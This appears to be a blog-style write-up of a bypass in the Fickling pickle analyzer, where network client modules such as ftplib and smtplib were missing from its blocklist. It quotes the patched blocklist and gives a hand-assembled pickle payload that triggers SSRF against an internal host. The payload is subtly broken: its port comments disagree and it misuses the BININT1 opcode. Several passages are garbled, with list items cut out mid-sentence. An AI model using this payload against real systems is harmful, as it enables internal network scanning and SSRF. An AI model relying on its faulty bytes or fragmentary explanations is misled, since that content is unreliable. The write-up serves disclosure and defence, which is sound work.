Feb 20, 2026·6 min read·2 visits
Fickling, a tool designed to detect malicious Python pickles, missed a spot. Or rather, six spots. It failed to flag standard library modules that open network connections upon instantiation (like FTP and SMTP). Attackers can wrap these into a pickle, bypass the 'Likely Safe' check, and map your internal network when you load the data.
A critical bypass in Trail of Bits' Fickling static analyzer allows malicious Python pickle files to evade detection. By leveraging overlooked standard library modules like 'ftplib' and 'smtplib', attackers can trigger Server-Side Request Forgery (SSRF) and local network scanning even when the file is deemed 'safe' by the analyzer. This vulnerability highlights the inherent fragility of blocklist-based security in dynamic languages.
Let’s get one thing straight before we dive in: Python pickle is terrifying. It is not a serialization format; it is a stack-based virtual machine that executes arbitrary bytecode during deserialization. Trying to secure it is like trying to secure a hand grenade by wrapping it in bubble wrap. It’s still going to blow up if you pull the pin.
Enter Fickling, a heroic attempt by Trail of Bits to bring sanity to this madness. Fickling decompiles pickle bytecode into Python source code and performs static analysis to tell you if a file is "safe" or "malicious." It’s a metal detector for your data pipeline.
But here’s the problem with metal detectors: they only beep for metal they know about. In GHSA-83pf-v6qq-pwmr (and its cousin CVE-2026-22609), researchers found that Fickling’s metal detector had a massive blind spot. It turns out you don't need os.system or socket to wreak havoc. Sometimes, all you need is an ancient protocol client from the 1990s and a little bit of creativity.
This vulnerability is a masterclass in why "allowlisting" is superior to "blocklisting," and why writing parsers is hard. It stems from two distinct failures that voltron'd into a high-severity bypass.
1. The Blocklist Blues (CWE-184)
Fickling relies on a list called UNSAFE_IMPORTS. If a pickle tries to import os, sys, or subprocess, Fickling screams. But the Python Standard Library is a sprawling beast. The developers blocked low-level network interfaces but forgot about the high-level clients: smtplib, ftplib, imaplib, poplib, telnetlib, and nntplib.
Why do these matter? Because unlike most civilized classes, these bad boys initiate a TCP connection immediately upon instantiation in their __init__ constructor. You don't need to call .connect(). You just create the object, and the packet flies.
2. The Lazy AST Scanner
Even if you used a module that wasn't strictly blocked, Fickling analyzes the Abstract Syntax Tree (AST) of the decompiled code to see what you're doing with it. However, the unused_assignments() function—responsible for tracking variable usage—had a logic flaw. It would break its scanning loop prematurely when it hit the final assignment in the bytecode. If an attacker hid their malicious instantiation in the Right-Hand Side (RHS) of the final assignment (e.g., result = MaliciousObject()), Fickling effectively said, "Looks like the end of the file, I'm going home," and ignored the bomb right in front of its face.
Let's look at the fix to understand the breakage. The remediation required patching both the blocklist and the analysis logic.
First, the UNSAFE_IMPORTS list had to be expanded. This feels like a game of whack-a-mole that will never truly end.
# fickling/analysis.py
UNSAFE_IMPORTS = {
"os", "sys", "subprocess", "socket", # The usual suspects
# ... old list ...
"smtplib", "imaplib", "ftplib", # The new additions
"poplib", "telnetlib", "nntplib" # Welcome to the party
}Second, the loop termination logic. The original code was too eager to stop analyzing. It assumed that once the result was assigned, the flow was over. In reality, the act of assignment involves evaluating the expression being assigned.
By chaining these two flaws, an attacker constructs a pickle that Fickling sees as:
ftplib wasn't in the list).How do we weaponize this? We need to craft a pickle stream that instantiates one of these chatty classes. We'll use ftplib.FTP. When FTP(host, port) is called, it attempts to connect to the server to grab the banner. This is a classic Server-Side Request Forgery (SSRF).
Here is what the attack payload looks like in Python pickle assembly. We are manually constructing the opcodes to ensure it sits exactly where the static analyzer fails to look.
import pickle
import pickletools
# The payload simulates:
# from ftplib import FTP
# FTP('internal-service.local', 2121)
payload = b"\x80\x04" # PROTO 4
payload += b"\x8c\x06ftplib" # GLOBAL import module
payload += b"\x8c\x03FTP" # GLOBAL import class
payload += b"\x93" # STACK_GLOBAL
payload += b"\x8c\x16internal-service.local" # ARG 1: Host
payload += b"K\x00\x15" # ARG 2: Port 21 (Integer)
payload += b"\x86" # TUPLE2
payload += b"R" # REDUCE (Call FTP(host, port))
payload += b"." # STOPWhen Fickling < 0.1.7 scans this:
ftplib. Not in UNSAFE_IMPORTS? Check.FTP(...).ftplib, it marks it green.The victim loads the pickle. Their server immediately sends a TCP SYN packet to internal-service.local. If you control the destination, you get the IP of the victim. If you target an internal AWS metadata service, you might get credentials.
If you are using Fickling, you are likely a security-conscious organization processing untrusted data (ML models, session cookies, etc.). You deployed Fickling specifically to act as a guard dog. This vulnerability put the guard dog to sleep.
1. SSRF & Port Scanning: The most immediate impact is network reconnaissance. An attacker can map out your internal infrastructure (Kubernetes clusters, databases, metadata endpoints) by feeding your application thousands of "safe" pickles, each trying a different IP/port.
2. Denial of Service: By forcing your application to hang on connection attempts to unresponsive IPs (tarpits), an attacker can exhaust your thread pools.
3. False Sense of Security: The most dangerous vulnerability is a security tool that lies to you. Engineers might relax other controls (like network segmentation) because "Fickling is catching the bad stuff."
The fix is straightforward, but the lesson is eternal. Trail of Bits patched this in version 0.1.7. If you are using Fickling in your CI/CD pipeline or model ingestion service, update immediately.
> [!TIP] > Defense in Depth: Do not rely solely on static analysis for pickles. If you must unpickle untrusted data, do it inside a sandbox with strictly limited network access (e.g., no outbound internet, no access to internal RFC1918 addresses).
The patch adds the missing network modules to the deny-list. However, a clever hacker might ask: "Are there any other standard library modules that do dangerous things in __init__?" The hunt continues.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
fickling trailofbits | < 0.1.7 | 0.1.7 |
| Attribute | Detail |
|---|---|
| CWE | CWE-184 (Incomplete List of Disallowed Inputs) |
| CVSS v3.1 | 7.8 (High) |
| CVSS v4.0 | 8.9 (High) |
| Attack Vector | Network (via Pickle File) |
| Impact | Security Bypass / SSRF |
| EPSS Score | 0.00032 (Low wild exploit probability) |
Incomplete List of Disallowed Inputs